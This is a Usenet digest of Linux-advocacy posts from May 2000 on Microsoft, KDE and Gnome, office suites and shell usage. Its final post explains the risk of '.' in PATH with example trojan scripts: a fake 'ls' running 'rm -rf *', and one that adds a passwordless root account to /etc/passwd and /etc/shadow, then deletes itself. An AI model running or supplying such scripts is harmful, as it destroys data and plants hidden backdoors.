Linux-Advocacy Digest #341, Volume #26 Tue, 2 May 00 17:13:09 EDT
Contents:
Dvorak calls Microsoft on 'innovation' ([EMAIL PROTECTED])
Re: Is the PC era over? (Chris Kelly)
Re: Is the PC era over? (JTK)
Re: Dvorak calls Microsoft on 'innovation' (JTK)
Re: Is the PC era over? (JTK)
Re: Applix 5.0 it's getting better! (Mig Mig)
UI Standards (was Re: KDE is better than Gnome) (David Steuber)
Re: The Dream World of Linux Zealots (Mig Mig)
Re: at the risk of ignorance...a little too late for that
Re: Are we equal? (JEDIDIAH)
Re: Is the PC era over? (JTK)
Re: Linux from a Windows perspective (JEDIDIAH)
Re: Sofware paztents and Micro$oft history ("Colin R. Day")
Re: Who to blame next... (JEDIDIAH)
Re: Are we equal? ("Edward L. Sandwicheater")
Re: Is the PC era over? (JEDIDIAH)
Re: at the risk of ignorance...a little too late for that
Re: Web page rendering Linux (KDE) vs. windows 2000 (Matthias Warkus)
Re: Which Flavour Is Best? (Matthias Warkus)
Re: at the risk of ignorance...a little too late for that
----------------------------------------------------------------------------
From: [EMAIL PROTECTED]
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Dvorak calls Microsoft on 'innovation'
Date: Tue, 02 May 2000 19:01:51 GMT
Calls to break-up Microsoft are increasing -- not from Microsoft's
competitors, but from people who depend on the PC for a living, such
as Ziff-Davis, and columnist Dvorak:
http://www.zdnet.com/zdnn/stories/news/0,4586,2559857,00.html
In the above article Dvorak asks, where are Microsoft's innovations,
apart from the squiggly line? Dvorak then goes on to explain how
Microsoft is hurting the industry.
Dvorak also charges that Microsoft hires PR agencies to make
pro-Microsoft postings on on-line forums (which presumably includes
c.l.j.a)
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
From: [EMAIL PROTECTED] (Chris Kelly)
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Is the PC era over?
Date: Tue, 02 May 2000 19:33:10 GMT
[EMAIL PROTECTED] wrote:
>[pearls of wisdom snipped]
I sure hope you're right, Petilon. Like Scott and Larry, I don't think
most people should have to bother with computing issues. Instead,
almost everyone should have an NC connected to a central server which
is managed by a team of white-lab-coat clad experts, who shall dole
out computing power only to those deemed worthy, just like in the good
ol' days.
The massive democratization of computing power over the last two
decades truly disgusts me. Windows98? Let them use a VT102!
OTOH, as I suggested to you earlier, perhaps you should take a day
trip to King City, or Fresno, or better yet Garberville (pick up a
couple burls for me, please) and see how normal, everyday people use
the computing power which you and your buds would love to take away.
oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0
JConfig 2.0 now comes with FULL SOURCE! Get your copy here:
http://www.tolstoy.com/samizdat/jconfig.html
Then, send Sun a Message!
Vote for JConfig in the JDJ Readers' Choice Awards.
http://www.sys-con.com/java/readerschoice2000/
See the 'Best Class Library' category.
oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0oo0
------------------------------
From: JTK <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Is the PC era over?
Date: Tue, 02 May 2000 14:42:39 -0500
Mehrban Jam wrote:
>
> <[EMAIL PROTECTED]> wrote in message news:8en0qb$cqq$[EMAIL PROTECTED]...
> :
> : And then Gates loses title as richest man to the CEO of another
> : Internet company, Oracle. (Not counting other assets, Gates' stake
> : in MSFT is worth less than Ellison's stake in ORCL.) Good thing
> : Gates quit before this humiliating event:
> :
> :
>
> Now that we have determined making money from software is a sin and we hate
> Bill G for it :-) is it OK to begin and hate Larry for this sin instead? :-)
>
Oops, I had already started. Oh wait, no, I just hate Ellison on
general principles. Never mind.
> Mehrban
------------------------------
From: JTK <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Dvorak calls Microsoft on 'innovation'
Date: Tue, 02 May 2000 14:46:16 -0500
[EMAIL PROTECTED] wrote:
>
> Calls to break-up Microsoft are increasing -- not from Microsoft's
> competitors, but from people who depend on the PC for a living, such
> as Ziff-Davis, and columnist Dvorak:
>
> http://www.zdnet.com/zdnn/stories/news/0,4586,2559857,00.html
>
> In the above article Dvorak asks, where are Microsoft's innovations,
> apart from the squiggly line? Dvorak then goes on to explain how
> Microsoft is hurting the industry.
>
> Dvorak also charges that Microsoft hires PR agencies to make
> pro-Microsoft postings on on-line forums (which presumably includes
> c.l.j.a)
>
Huh, so that must be where Dvorak got the 'squiggly underline spell
checking' bit.
Remember, you heard it here first Dvorak!
> Sent via Deja.com http://www.deja.com/
> Before you buy.
------------------------------
From: JTK <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Is the PC era over?
Date: Tue, 02 May 2000 14:46:47 -0500
abraxas wrote:
>
> In comp.os.linux.advocacy JTK <[EMAIL PROTECTED]> wrote:
> > Honey, the PC era hasn't even gotten STARTED yet! As a wise man once
> > said about the current state of the industry, "We're rubbing sticks
> > together, and seeing fire."
>
> > [snip typical unimaginative MS bashing]
>
> Indeed. How dare anyone utilize truth to support MS bashing.
>
Zzzzzzzzzzzzzzzzzz........
> -----yttrx
------------------------------
From: Mig Mig <[EMAIL PROTECTED]>
Subject: Re: Applix 5.0 it's getting better!
Date: Tue, 2 May 2000 21:59:33 +0200
[EMAIL PROTECTED] wrote:
> I've been using Applix for some time now. I tried Corel's WP Office and
> was thinking of changing over. Then I tried Applix 5.0 and I'm back in
> the Applix camp. Applix has cleaned up the look and the install. My KDE
> menus were automatically updated. The "data" package can use "MySQL".
> From what I can tell, the integration has improved and imports have
> improved. All and all, every thing *I* need in a Office suite is there,
> for less than $100. I'm still waiting to see if Koffice will have all I
> need, If it does, I'll switch, if not, no sweat now that Applix has
> improved so much.
Dont wait for Koffice... unfortunattely it seems more or less dead.
Kword has at the moment no mantainer since Reggie Stadlbauer will
concentrate on Kpresenter and the version i have running - from end of
february -is still very very buggy, so i i doubt they will have anything
usable when KDE2 comes out.
The problem seems to be lack of developers on Koffice. Sad!!
Probably KDE at the moment has less than 1/3 of the developers of Gnome..
that could and will probably change very quick once Kylix is out.
But take a look at lists.kde.org and see for yourself if my
impression is correct.
Greetings
------------------------------
Crossposted-To: comp.windows.x.kde,tw.bbs.comp.linux
Subject: UI Standards (was Re: KDE is better than Gnome)
From: David Steuber <[EMAIL PROTECTED]>
Date: Tue, 02 May 2000 20:00:00 GMT
[EMAIL PROTECTED] (root) writes:
' The problem with Windows as a standard, unconfigurable system is not that it's a
standard, but that it's
' not a good standard.
Speaking of UI standards, how would you (or anyone else) improve on
IBM's CUA guide? There is an expectation of things being in certain
places, particularly by Windows users. Users expect a menu bar. They
expect menu items to be laid out in a certain fashion. Tool bars just
provide graphical short cuts and take up space, but they look nice and
have become expected. Status bars are often useful also.
What makes a UI standard a good one?
--
David Steuber | Hi! My name is David Steuber, and I am
NRA Member | a hoploholic.
http://www.packetphone.org/
All bits are significant. Some bits are more significant than others.
-- Charles Babbage Orwell
------------------------------
From: Mig Mig <[EMAIL PROTECTED]>
Subject: Re: The Dream World of Linux Zealots
Date: Tue, 2 May 2000 22:05:56 +0200
[EMAIL PROTECTED] wrote:
> First off, Linux is a great operating system and given the proper
> venue it is a good choice.
>
> However, to believe for a moment that Linux could replace, or even
> co-exist with Windows in the home environment is a pipe dream fantasy
> of the Linux zealots.
>
> As an example I offer up the home networking problem. The reality, and
> it is a good one, is that home networking is becoming a big reality.
> Families with children are competing with each other for internet
> time, printers, scanners and so forth. Most new home construction
> includes pre-wired Cat 5 cable as an option.
>
> Anyway how is a home network with internet connection sharing, printer
> sharing, scanner sharing and firewall set up easily under Linux?
>
> Answer; it isn't.
>
> Oh sure you can play with Samba if you happen to not have a
> Win-printer and assuming you are able to figure out how to set it up
> it might work ok. You can play with ip masquerading and ip-chains and
> so forth, entering all kinds of crap in text files and so forth.
> That is of course assuming you know what to enter. How many times in
> the Linux help system do you see "ask your system administrator"
> mentioned?
> So who is the sys admin of a home network??
>
> Know how you do all of the above with Windows 98se or Win2k?
> Select internet connection sharing in help and the wizard does it all
> for you.
>
> Download ZoneAlarm for free and it works without a single amount of
> input required by the user to configure it.
>
> It simply asks you if you want a particular task to be allowed to take
> place (Realplayer accessing the internet as an example).
>
> Resource sharing?
>
> Place a check in the sharing box...That's it..Wizard does it for you
> when you select "How do I share my printer"
>
> That's the way it should be.
>
> I spent 3 weeks trying to get a network working under Linux and
> finally gave up. And another thing, the default set up is a real
OK.. we now know youre an idiot since it actually is very easy. A collegue
of mine that never has touched Linux managed to get a machine on the net
without any problems - in Mandrake 7.0!
> security risk even selecting Medium security under Mandrake. FTP,
> Telnet and other ports were wide open.
Sad.. since i cant even telnet to is machine.. dont know what security
settings he used.
> Sorry Linux Zealots but you should read more of the the Linux
> install/set up groups to see how many folks have had it up to their
> ears with Linux and more will follow.
>
> Take off the rose colored glasses and look into the world of reality
> for a change. Linux is certainly improving, but it isn't even close to
> Windows.
No it has surpassed it very long ago... i say since RedHat 5.1!
> Windows is a much, much better choice.
Its such a waste.. You just forget that nearly all of us come from the
Windows world and know that Windows is a much much worser choice. Thats why
we left the crap beyond.
------------------------------
From: [EMAIL PROTECTED] ()
Crossposted-To: rec.games.roguelike.nethack
Subject: Re: at the risk of ignorance...a little too late for that
Date: 2 May 2000 16:09:20 -0400
Bart Oldeman <[EMAIL PROTECTED]> spewed this unto the Network:
>The reason why it goes this way, is that your shell (e.g. bash) doesn't
>know whether netscape is going print some stuff in the xterm. And if you
>don't like this, why don't you just make an alias?
>alias netscape = 'netscape &'
When defining an alias (in BASH, at least), you can't have whitespace
around the "=". The output of your command would look like this:
bash: alias: `netscape' not found
bash: alias: `=' not found
bash: alias: `netscape &' not found
The correct way to make the alias is:
alias netscape='netscape &'
--
Microsoft Windows. Beyond crappy. Beyond belief.
Microsoft Windows. It could be worse, but it'll take time.
Microsoft Windows. The problem for your problem.
------------------------------
From: [EMAIL PROTECTED] (JEDIDIAH)
Crossposted-To:
alt.conspiracy,alt.conspiracy.area51,comp.os.ms-windows.advocacy,talk.politics
Subject: Re: Are we equal?
Date: Tue, 02 May 2000 20:09:27 GMT
On 2 May 2000 18:01:51 GMT, abraxas <[EMAIL PROTECTED]> wrote:
>In comp.os.linux.advocacy JEDIDIAH <[EMAIL PROTECTED]> wrote:
>
>> On a closed isolated island with limited or no freedom of movement,
>> that's rather difficult to establish really. There are certainly
>> a significant a visible chunk of the population that feels it
>> worthwhile to risk death and imprisonment to leave.
>
>Have you been to cuba?
Are you trying to claim that the people that die trying to get
off the island are doing so for naught? Occam's razor doesn't
exactly go your way on this one.
--
|||
/ | \
Need sane PPP docs? Try penguin.lvcm.com.
------------------------------
From: JTK <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Is the PC era over?
Date: Tue, 02 May 2000 15:12:29 -0500
Chris Kelly wrote:
>
> [EMAIL PROTECTED] wrote:
> >[pearls of wisdom snipped]
>
> I sure hope you're right, Petilon. Like Scott and Larry, I don't think
> most people should have to bother with computing issues. Instead,
> almost everyone should have an NC connected to a central server which
> is managed by a team of white-lab-coat clad experts, who shall dole
> out computing power only to those deemed worthy, just like in the good
> ol' days.
>
> The massive democratization of computing power over the last two
> decades truly disgusts me. Windows98? Let them use a VT102!
>
Pfhht, yeah, I suppose if you're absolutely made of money! VT52 is good
enough for 'em. Hell, it's better than what they have in Red China!
'The People's Republic of Ellison'. Has a nice ring to it, dontcha
think?
"But if you go carryin' pictures of Chairman Mao, ..."
[snip]
------------------------------
From: [EMAIL PROTECTED] (JEDIDIAH)
Subject: Re: Linux from a Windows perspective
Date: Tue, 02 May 2000 20:13:16 GMT
On 2 May 2000 18:15:18 GMT, Pete Goodwin <[EMAIL PROTECTED]> wrote:
>[EMAIL PROTECTED] (Leslie Mikesell) wrote in
><8emtk5$1o9h$[EMAIL PROTECTED]>:
>
>>What video card? The efficiency of the X drivers may be critical
>>on slow-CPU machines. Also, it probably depends on what you
>>are doing. I tend to run 5 or 6 xterms with telnet sessions
>>and a couple of netscape windows. Several small programs
>>like telnet running at the same time seems to work better
>>under Linux.
>
>Sorry, a Matrox Millenium 2Mbyte.
That's a bit lean in general. I bet you can't do double
buffering in AnyOS.
>
>Starting up KDE takes a while on my machine. Once it's up and running, some
>applications (notably X/KDE ones) take a while to get going.
>
>StarOffice was disappointing - took a great deal of time to start, and had
>a few problems displaying fonts neatly.
SO has rather suitable font handling actually. Whether or not it
'loads slowly' isn't a real issue anyways.
--
|||
/ | \
Need sane PPP docs? Try penguin.lvcm.com.
------------------------------
From: "Colin R. Day" <[EMAIL PROTECTED]>
Subject: Re: Sofware paztents and Micro$oft history
Date: Tue, 02 May 2000 20:18:19 +0000
Ingvar Langlet wrote:
> Stockholm 2000-05-02
>
> Dear Linux community,
>
> EU and patents on programming algorithms.
> -----------------------------------------
>
> Patents on program algotritms in USA can be used by commercial holders
> of patents on common program algortims to ask for arbitrary licence
> fees when open software with public code is distributed or to take
> open software out of circulation by refusing licences.
>
> The European Union considers introduction of softare patents. In a
> EU memorandum the conclusions are:
>
> EU law has not been enforced in a very consistent way for software
> patents (Munich convention prohibits them but there are still ways
> to pass through and get them). Clarification is needed.
>
> The Microsoft success story shows that patents are good for the
> software industry
Does Microsoft have that many software patents? And is its "success"
something that we should want to extend?
>
>
>
<snip>
>
> Sincerely Yours
>
> Ingvar Langlet
>
> Forsen 8, 123 72 Farsta, Sweden
>
> Telephones: +46 08 60 555 06 or +46 150 664 049
>
> e-mail: [EMAIL PROTECTED]
Colin Day
------------------------------
From: [EMAIL PROTECTED] (JEDIDIAH)
Subject: Re: Who to blame next...
Date: Tue, 02 May 2000 20:20:56 GMT
On Tue, 02 May 2000 17:09:31 GMT, Steve Mentzer <[EMAIL PROTECTED]> wrote:
>
>>Let's say that a year from now MS has been broken up, and Linux is still a
>>standardless hodge-podge of sundry apps and distributions with
>>marginal driver and application support. Without the evil empire (Microsoft)
>>to blame for Linux's lack of appeal on the Desktop, who or what
>>will be blamed next? I'll be curious to see how it all unfolds....
>>
>
>
>What I find absolutely hillarious is listening to people say how
>"Microsoft is going to die".
>
>Nothing can be further from the truth.
>
>A MS breakup will only solidify the stranglehold WINDOWS has on the
>market.
>
>The way it looks now, the breakup will contain the following
>provisions...
>
>1 - Windows OS development and Office applications are broken apart.
>Seperate companies.
>2 - The Windows API is made fully public and MS no longer has full
>control over the changes to it. This will essentially allow 3rd party
>developers to know about things the same time MS does, making it
>impossible for MS to beat people to the marketplace just because they
>control the API.
>
>#1 isn't that big in my opinion.
>#2 is the kicker. MS is being forced to openly share API development
>with the development community. It may not be opensource, but the
>argument of "MS controls everything" will no longer be viable.
>
>Once the API is opened, a major selling point of Linux becomes moot.
Not quite.
The major selling points of Linux are it's cost, reliability
and low resource utilization. In terms of 'selling', Free
Software dogma usually doesn't come into the picture.
As far as the Free Software types go: the new solution will
either be assimilated or will be rejected as not open enough.
The result may or may not look anything like Microsoft Windows.
>Windows will no longer be a single-vendor solution. MS will not have
>the final say on new features and architecture.
>
>For MS to open the Windows API will open a whole new generation for
>windows development.
...assuming it doesn't manage to out-mozilla mozilla and be
unwieldy and viewed as something to be gutted for salvage
and then abandoned.
--
|||
/ | \
Need sane PPP docs? Try penguin.lvcm.com.
------------------------------
From: "Edward L. Sandwicheater" <[EMAIL PROTECTED]>
Crossposted-To:
alt.conspiracy,alt.conspiracy.area51,comp.os.ms-windows.advocacy,talk.politics
Subject: Re: Are we equal?
Date: Tue, 02 May 2000 20:21:36 GMT
JEDIDIAH wrote:
>
> On 2 May 2000 18:01:51 GMT, abraxas <[EMAIL PROTECTED]> wrote:
> >In comp.os.linux.advocacy JEDIDIAH <[EMAIL PROTECTED]> wrote:
> >
> >> On a closed isolated island with limited or no freedom of movement,
> >> that's rather difficult to establish really. There are certainly
> >> a significant a visible chunk of the population that feels it
> >> worthwhile to risk death and imprisonment to leave.
> >
> >Have you been to cuba?
>
> Are you trying to claim that the people that die trying to get
> off the island are doing so for naught? Occam's razor doesn't
> exactly go your way on this one.
>
How does Occams razor feel about the fact that the vast majority of
Cubans stay in Cuba? The most likely reason is that most people dont
want to leave. Obviously most Cubans support Castro and their
Revolution.
------------------------------
From: [EMAIL PROTECTED] (JEDIDIAH)
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Is the PC era over?
Date: Tue, 02 May 2000 20:24:40 GMT
On Tue, 02 May 2000 15:12:29 -0500, JTK <[EMAIL PROTECTED]> wrote:
>
>
>Chris Kelly wrote:
>>
>> [EMAIL PROTECTED] wrote:
>> >[pearls of wisdom snipped]
>>
>> I sure hope you're right, Petilon. Like Scott and Larry, I don't think
>> most people should have to bother with computing issues. Instead,
>> almost everyone should have an NC connected to a central server which
>> is managed by a team of white-lab-coat clad experts, who shall dole
>> out computing power only to those deemed worthy, just like in the good
>> ol' days.
>>
>> The massive democratization of computing power over the last two
>> decades truly disgusts me. Windows98? Let them use a VT102!
>>
>
>Pfhht, yeah, I suppose if you're absolutely made of money! VT52 is good
>enough for 'em. Hell, it's better than what they have in Red China!
There's certainly quite a bit of computing power that's wasted.
However, that's not the real problem that's relevant to an end
user. A general purpose kludge klone is a complex beast.
Multiplying them multiply your headaches.
>
>'The People's Republic of Ellison'. Has a nice ring to it, dontcha
>think?
>
>"But if you go carryin' pictures of Chairman Mao, ..."
>
>[snip]
The masses are quite often willing to be duped in such a fashion
in order to gain a promise of convenience or security.
Welcome to the tyranny of the majority.
--
|||
/ | \
Need sane PPP docs? Try penguin.lvcm.com.
------------------------------
From: [EMAIL PROTECTED] ()
Crossposted-To: rec.games.roguelike.nethack
Subject: Re: at the risk of ignorance...a little too late for that
Date: 2 May 2000 16:26:21 -0400
Karl Knechtel <[EMAIL PROTECTED]> spewed this unto the Network:
>Bart Oldeman ([EMAIL PROTECTED]) wrote:
>: On Thu, 20 Apr 2000, Karl Knechtel wrote:
>: The reason why it goes this way, is that your shell (e.g. bash) doesn't
>: know whether netscape is going print some stuff in the xterm. And if you
>: don't like this, why don't you just make an alias?
>
>...Why would one app ever print to another's window? And so what
>if it does? Why should it get in the way? Doesn't each process
>get its own stdout stream?
Stdout is usually a file descriptor to the process's controlling
terminal, i.e. the xterm. When a process opens an X window, it does
so by opening a network connection, not much different than the
network connection that an FTP client uses to connect to an FTP
server. This doesn't give the process a new stdout, the process's
stdout remains the controlling terminal, and the process uses a
socket to interact with the X server (ie, to do everything that has
anything to do with the process's own X window).
--
Microsoft Windows. Beyond crappy. Beyond belief.
Microsoft Windows. It could be worse, but it'll take time.
Microsoft Windows. The problem for your problem.
------------------------------
From: [EMAIL PROTECTED] (Matthias Warkus)
Subject: Re: Web page rendering Linux (KDE) vs. windows 2000
Date: Tue, 2 May 2000 21:39:41 +0200
Reply-To: [EMAIL PROTECTED]
It was the 2 May 2000 15:16:26 GMT...
...and Darren Winsper <[EMAIL PROTECTED]> wrote:
> > Express has died a looong time ago. You should go and checkout
> > Nautilus' built-in Web browser.
>
> Or just embed Mozilla/Geckio in it, which Chris Blizzard managed to do
> recently.
>
> BTW, how stable is Nautilus? I'd like to try it out, but don't feel
> like putting up with a file manager that crashes every 5 minutes.
Nautilus looks pretty, you can demo it in very pretty ways, but it's
completely unusable for everyday use. It's in very heavy development,
they're ripping stuff out and redesigning parts of it all the time.
mawa
--
( ) Artikel Nr. RFC0793 Netzhemd aus Glasfaser-GeWWW kbps 64,00
Gr��e: [ ] SSL [ ] HTML [ ] XML
------------------------------
From: [EMAIL PROTECTED] (Matthias Warkus)
Subject: Re: Which Flavour Is Best?
Date: Tue, 2 May 2000 21:43:41 +0200
Reply-To: [EMAIL PROTECTED]
It was the Sun, 30 Apr 2000 12:47:16 GMT...
...and Edward <[EMAIL PROTECTED]> wrote:
> Hello all,
>
> Does anybody have a preference which flavour of Linux is best for a newbie
> to use?
>
> I hear the flavours from Caldera and Red Hat are the best to learn on and
> from.
I have read very positive reviews about the latest Caldera, the latest
Mandrake and the latest easyLinux. If you don't want a KDE-only
distribution, you should try Red Hat, though, which isn't at all bad
either.
mawa
--
ps. If the technical bits confused you, feel free to ask a few
questions and I will type a little slower for you
-- just drieux, Andrew Hampe
------------------------------
From: [EMAIL PROTECTED] ()
Crossposted-To: rec.games.roguelike.nethack
Subject: Re: at the risk of ignorance...a little too late for that
Date: 2 May 2000 16:46:06 -0400
David Steinberg <[EMAIL PROTECTED]> spewed this unto the Network:
>Karl Knechtel ([EMAIL PROTECTED]) wrote:
>: Why on EARTH saying the equivalent of "go to the current directory and
>: open this file" should under any circumstances allow you to do
>: something that saying "open this file" wouldn't is beyond me. Off-topic
>: (to RGRN), perhaps, but please do enlighten us (me). I presume there
>: must be some obscure security reason for it.
>There is a simple security reason for it.
>
>Say some nasty person manages to put a shell script like this
>
>#!/bin/sh
>rm -rf *
>
>in your home directory, calls it "ls," and makes it executible. The first
>time you type "ls" in your home directory, you lose all your personal
>data. Oops!
That's what you get for making your home directory world-writable.
Now say you're the super-user, and you go into someone else's home
directory and run this:
#!/bin/bash
# Append an unpassworded super-user to /etc/passwd and /etc/shadow
# and pray that this isn't System V:
echo 'evil::0:0:Root of All Evil:/:/bin/bash' >> /etc/passwd
echo 'evil::10865:0:99999:7:::' >> /etc/shadow
# Now prevent the admin from discovering the hack:
rm -f $0
exec /bin/ls "$@"
# Now here's a security hole.
# End of program.
>You lose your data, that is, if you have . in your path before
>/bin. If not, /bin/ls is executed, and you get a listing of your
>files. Of course, noticing that there's an executable named "ls", you
>investigate further and save the day! :)
But only if you have PATH set up the secure way. Otherwise, the trojan
runs and removes itself before you see it.
>Note that the default, and ONLY, behaviour in DOS/Windows is to try the
>current directory before the path, and to execute that nasty, destructive
>trojan.
But in DOS, the "DIR" command is a builtin, and there are few other programs
that you would even attempt to run without being in the directory in
which they reside.
>In UNIX, you can protect yourself from this situation by making
>sure that if you have "." in your path, it is the last directory listed
>therein.
...and by making sure your home directory is not world readable, writable,
or executable with this command:
chmod og-rwx $HOME
--
Microsoft Windows. Beyond crappy. Beyond belief.
Microsoft Windows. It could be worse, but it'll take time.
Microsoft Windows. The problem for your problem.
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